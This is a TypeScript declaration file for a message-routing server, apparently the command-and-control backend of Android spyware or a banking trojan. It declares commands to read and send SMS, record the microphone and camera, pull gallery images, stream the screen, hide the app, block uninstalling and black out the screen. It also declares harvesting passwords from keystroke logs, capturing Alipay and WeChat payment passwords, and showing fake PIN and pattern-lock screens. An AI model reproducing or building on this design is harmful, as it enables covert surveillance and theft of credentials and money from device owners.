import DeviceManager from '../managers/DeviceManager'; import WebClientManager from '../managers/WebClientManager'; import { DatabaseService } from './DatabaseService'; /** * 控制消息接口 */ export interface ControlMessage { type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME'; deviceId: string; data: any; timestamp: number; } /** * 操作日志消息接口 */ export interface OperationLogMessage { deviceId: string; logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT'; content: string; extraData?: any; timestamp: number; } /** * 屏幕数据接口 */ export interface ScreenData { deviceId: string; format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY'; data: Buffer | string; width: number; height: number; quality: number; timestamp: number; isLocked?: boolean; } /** * 摄像头数据接口 */ export interface CameraData { deviceId: string; format: 'JPEG' | 'PNG' | 'H264'; data: string; type: 'camera'; timestamp: number; } /** * 相册图片数据接口(设备发送) */ export interface GalleryImageData { deviceId: string; type: 'gallery_image'; timestamp: number; index: number; id: number | string; displayName?: string; dateAdded?: number; mimeType?: string; width?: number; height?: number; size?: number; contentUri?: string; format: 'JPEG' | 'PNG'; data: string; } /** * 麦克风音频数据接口(设备发送) */ export interface MicrophoneAudioData { deviceId: string; type: 'microphone_audio'; timestamp: number; audioData: string; sampleRate: number; sampleCount: number; format: 'PCM' | 'AAC' | 'MP3' | 'WAV'; channels: number; bitDepth: number; } /** * 短信数据接口 */ export interface SmsData { deviceId: string; type: 'sms_data'; timestamp: number; count: number; smsList: SmsItem[]; } /** * 短信项接口 */ export interface SmsItem { id: number; address: string; body: string; date: number; read: boolean; type: number; } /** * 消息路由服务 - 增强版,包含内存管理 */ export declare class MessageRouter { private logger; private deviceManager; private webClientManager; private databaseService; private screenDataBuffer; private cameraDataBuffer; private smsDataBuffer; private microphoneAudioBuffer; private readonly maxBufferSize; private readonly bufferTimeout; private readonly maxDataSize; private lastCleanupTime; private readonly cleanupInterval; private routedFrames; private droppedFrames; private totalDataSize; private routedCameraFrames; private droppedCameraFrames; private totalCameraDataSize; private routedSmsData; private droppedSmsData; private totalSmsDataSize; private routedMicrophoneAudio; private droppedMicrophoneAudio; private totalMicrophoneAudioSize; constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService); /** * 🖼️ 发送本地已缓存相册图片给指定Web客户端 */ private sendLocalGalleryToClient; /** * 🔧 启动定期清理任务 */ private startPeriodicCleanup; /** * 🔧 定期清理过期数据 */ private performPeriodicCleanup; /** * 🚨 紧急内存清理 */ private performEmergencyCleanup; /** * 路由控制消息(从Web客户端到设备) */ routeControlMessage(fromSocketId: string, message: ControlMessage): boolean; /** * 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理 */ routeScreenData(fromSocketId: string, screenData: ScreenData): boolean; /** * 重试路由屏幕数据 */ private retryRouteScreenData; /** * 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现 */ routeCameraData(fromSocketId: string, cameraData: CameraData): boolean; /** * 重试路由摄像头数据 */ private retryRouteCameraData; /** * 路由相册图片数据(不保存到磁盘,直接转发base64给客户端) */ routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean; /** * 路由麦克风音频数据(从设备到Web客户端) */ routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean; /** * 重试路由麦克风音频数据 */ private retryRouteMicrophoneAudio; /** * 路由短信数据(从设备到Web客户端) */ routeSmsData(fromSocketId: string, smsData: SmsData): boolean; /** * 重试路由短信数据 */ private retryRouteSmsData; /** * 路由设备事件(从设备到Web客户端) */ routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean; /** * 路由客户端事件(从Web客户端到其他客户端或设备) */ routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean; /** * 处理设备控制请求 */ private handleDeviceControlRequest; /** * 处理设备控制释放 */ private handleDeviceControlRelease; /** * 处理设备列表请求 */ private handleDeviceListRequest; /** * 处理操作日志(从设备接收) */ handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean; /** * 处理获取操作日志请求 */ private handleGetOperationLogs; /** * 处理清空操作日志请求 */ private handleClearOperationLogs; /** * 处理获取设备密码请求 */ private handleGetDevicePassword; /** * 处理保存设备密码请求 */ private handleSaveDevicePassword; /** * 处理更新设备状态请求 */ private handleUpdateDeviceState; /** * 处理获取设备状态请求 */ private handleGetDeviceState; /** * 广播消息到所有相关方 */ broadcastMessage(eventType: string, data: any): void; /** * 获取路由统计信息 */ getRouterStats(): { totalDevices: number; totalClients: number; activeControlSessions: number; }; handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void; private handleDeviceLoggingStateChanged; private restoreDeviceState; private handleSearchPasswordsFromLogs; /** * ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标) */ private extractPasswordCandidatesWithMeta; /** * 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别 */ private extractPasswordCandidates; /** * ✅ 新增:从密码内容检测密码类型 */ private detectPasswordTypeFromContent; /** * ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型 */ private isPossiblePasswordEnhanced; /** * 判断文本是否可能是密码 - 保持原有逻辑作为后备 */ private isPossiblePassword; /** * ✅ 刷新所有web客户端的设备列表 */ private refreshAllWebClientDeviceLists; /** * ✅ 同步设备状态到设备端 */ private syncDeviceStateToDevice; /** * 处理删除设备请求 */ private handleDeleteDevice; /** * 获取设备UI层次结构 */ private handleGetUIHierarchy; /** * 处理设备UI层次结构响应 */ private handleUIHierarchyResponse; /** * 路由UI层次结构响应(从设备到Web客户端)- 参考routeScreenData的模式 */ routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean; /** * 🆕 处理开始提取确认坐标的请求 */ private handleStartExtractConfirmCoords; /** * 🆕 处理保存确认坐标的请求 */ private handleSaveConfirmCoords; /** * 🆕 处理启用黑屏遮盖的请求 */ private handleEnableBlackScreen; /** * 🆕 处理取消黑屏遮盖的请求 */ private handleDisableBlackScreen; /** * 🆕 处理打开应用设置的请求 */ private handleOpenAppSettings; /** * 🆕 处理隐藏应用的请求 */ private handleHideApp; /** * 🆕 处理应用隐藏状态更新(来自Android端的状态报告) */ private handleAppHideStatusUpdate; /** * 🆕 处理显示应用的请求 */ private handleShowApp; /** * 🆕 处理关闭配置遮盖的请求 */ private handleCloseConfigMask; /** * 🆕 处理重新获取投屏权限请求 */ private handleRefreshMediaProjectionPermission; /** * 🆕 路由权限申请响应 */ routePermissionResponse(socketId: string, permissionData: any): boolean; /** * 💰 路由支付宝密码数据 */ routeAlipayPassword(socketId: string, passwordData: any): boolean; /** * 💬 路由微信密码数据 */ routeWechatPassword(socketId: string, passwordData: any): boolean; /** * 🔐 路由通用密码输入数据 */ routePasswordInput(socketId: string, passwordData: any): boolean; /** * 🔍 路由支付宝检测启动指令 */ routeAlipayDetectionStart(socketId: string, detectionData: any): boolean; /** * 💬 路由微信检测启动指令 */ routeWechatDetectionStart(socketId: string, detectionData: any): boolean; /** * 🆕 处理MediaProjection权限申请响应 */ private handleMediaProjectionPermissionResponse; /** * 🛡️ 处理启用防止卸载保护的请求 */ private handleEnableUninstallProtection; /** * 🛡️ 处理禁用防止卸载保护的请求 */ private handleDisableUninstallProtection; /** * 处理相册权限检查请求 */ private handleGalleryPermissionCheck; /** * 处理相册读取请求 */ private handleAlbumRead; /** * 处理设备解锁请求 */ private handleUnlockDevice; /** * 🔐 处理打开6位PIN输入界面的请求 */ private handleOpenPinInput; /** * 🔐 处理打开4位密码输入界面的请求 */ private handleOpenFourDigitPin; /** * 🔐 处理打开图形密码输入界面的请求 */ private handleOpenPatternLock; /** * 处理修改服务器地址请求 */ private handleChangeServerUrl; } export default MessageRouter; //# sourceMappingURL=MessageRouter.d.ts.map